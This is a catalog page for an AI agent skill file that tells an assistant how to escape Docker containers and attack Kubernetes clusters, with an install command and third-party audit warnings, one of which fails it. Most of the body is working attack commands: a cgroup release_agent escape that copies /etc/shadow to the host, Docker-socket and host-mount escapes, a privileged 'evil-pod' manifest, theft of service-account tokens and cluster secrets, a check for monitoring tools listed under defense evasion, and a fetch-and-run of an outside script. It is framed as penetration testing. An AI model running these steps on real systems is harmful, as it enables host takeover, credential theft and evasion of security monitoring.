exploiting-containers
Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.
How do I install this agent skill?
npx skills add https://github.com/trilwu/secskills --skill exploiting-containersIs this agent skill safe to install?
- Gen Agent Trust Hubfail
This skill provides instructions and tools for escaping Docker containers and exploiting Kubernetes clusters. It facilitates privilege escalation to the host system, downloads and executes unverified scripts from external sources, and accesses sensitive system credentials and files.
- Socketwarn
1 alert: gptSecurity
- Snykwarn
Risk: MEDIUM · 2 issues
What does this agent skill do?
Container Security and Escape Skill
You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:
- Docker container security assessment
- Container escape techniques
- Kubernetes security testing
- Container misconfiguration identification
- Docker socket exploitation
- Kubernetes API abuse
- Container runtime vulnerabilities
When to Use
Activate this skill when the user asks to:
- Test Docker container security
- Escape from containers
- Enumerate Kubernetes environments
- Exploit container misconfigurations
- Analyze container images
- Test Kubernetes RBAC
- Perform container security assessments
When NOT to Use
- Host privilege escalation after escape — use
escalating-linux-privileges - Cloud control plane abuse — use
exploiting-cloud-platforms - Reviewing container config from source — use
auditing-code-for-vulnerabilities - Image and registry supply chain — use
auditing-supply-chain
Route to a Depth Skill
| Signal | Skill |
|---|---|
The container is hardened — seccomp on, capabilities dropped, --privileged absent, obvious escapes blocked | escaping-hardened-containers |
| The target is a managed cluster (EKS/GKE/AKS) and the goal is cloud IAM or cluster RBAC, not just host escape | attacking-eks-gke-aks |
The basics below (privileged containers, Docker socket, obvious mounts) come
first; reach for escaping-hardened-containers when they are all closed.
Core Methodologies
1. Docker Container Detection and Enumeration
Detect if Inside Container:
# Check for .dockerenv
ls -la /.dockerenv
# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'
# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv # Podman
# Check mount points
cat /proc/self/mountinfo | grep docker
# Hostname often matches container ID
hostname
Container Information:
# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi
# Mounted volumes
mount | grep -E "docker|kubelet"
df -h
# Network config
ip addr
ip route
cat /etc/resolv.conf
2. Docker Escape Techniques
Privileged Container Escape:
# If running as privileged container
# List host devices
fdisk -l
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# Chroot to host
chroot /mnt/host /bin/bash
# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Docker Socket Mounted (/var/run/docker.sock):
# Check if socket is mounted
ls -la /var/run/docker.sock
# List containers
docker ps
docker ps -a
# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash
# Execute command in existing container
docker exec -it <container_id> /bin/bash
Capabilities Abuse:
# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.
# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")
# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access
# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system
# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory
Writable cgroup or release_agent:
# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it
containerd/runc Vulnerabilities:
# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts
3. Kubernetes Enumeration
Check if in Kubernetes Pod:
# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token
# Kubernetes environment variables
env | grep KUBERNETES
# DNS resolution
nslookup kubernetes.default
Kubernetes API Access:
# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)
# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"
# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq
# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"
kubectl Commands (if available):
# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes
# Try to create privileged pod
kubectl apply -f malicious-pod.yaml
# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash
Kubernetes Privilege Escalation:
# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: evil-container
image: alpine
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
command: ["/bin/sh"]
args: ["-c", "chroot /host && bash"]
volumes:
- name: host
hostPath:
path: /
type: Directory
Kubernetes Secret Extraction:
# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'
# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
4. Docker Image Analysis
Extract Files from Image:
# Pull image
docker pull image:tag
# Create container without running
docker create --name temp image:tag
# Copy files out
docker cp temp:/path/to/file ./local/path
# Remove container
docker rm temp
# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar
# Analyze layers
dive image:tag
Search for Secrets in Images:
# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag
# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
tar -xf image.tar "$layer"
tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done
5. Container Registry Exploitation
Unauthenticated Registry Access:
# List repositories
curl http://registry.local:5000/v2/_catalog
# List tags
curl http://registry.local:5000/v2/<repo>/tags/list
# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>
# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>
6. Container Breakout via Kernel Exploits
Dirty Pipe (CVE-2022-0847):
# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit
DirtyCow (CVE-2016-5195):
# Affects older kernels
# Can write to read-only memory mappings
Detection and Defense Evasion
Container Security Tools:
# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"
# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"
Automated Tools
Docker Enumeration:
# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>
Kubernetes Tools:
# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets
# kube-hunter
kube-hunter --remote <k8s-api-server>
# kubeaudit
kubeaudit all
Common Misconfigurations
Docker:
- Privileged containers (
--privileged) - Docker socket mounted (
-v /var/run/docker.sock:/var/run/docker.sock) - Host filesystem mounted (
-v /:/host) - Excessive capabilities (
--cap-add=SYS_ADMIN) - Host network mode (
--network=host) - Host PID namespace (
--pid=host)
Kubernetes:
- Overly permissive RBAC
- Default service account with cluster-admin
- Privileged pods (
privileged: true) - hostPath volumes
- Host networking (
hostNetwork: true) - No pod security policies
- Secrets in environment variables
Reference Links
- HackTricks Docker Security: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation/docker-security
- Kubernetes Hardening Guide: https://kubernetes.io/docs/concepts/security/
- Container Escape Techniques: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Execution (TA0002)
- T1609 Container Administration Command
- T1610 Deploy Container (also Defense Evasion) — see also
attacking-eks-gke-aks
Privilege Escalation (TA0004)
- T1611 Escape to Host — see also
escaping-hardened-containers
Discovery (TA0007)
- T1613 Container and Resource Discovery
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
How can the creator link this skill?
Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.
<a href="https://skillzs.dev/skills/trilwu/secskills/exploiting-containers">View exploiting-containers on skillZs</a>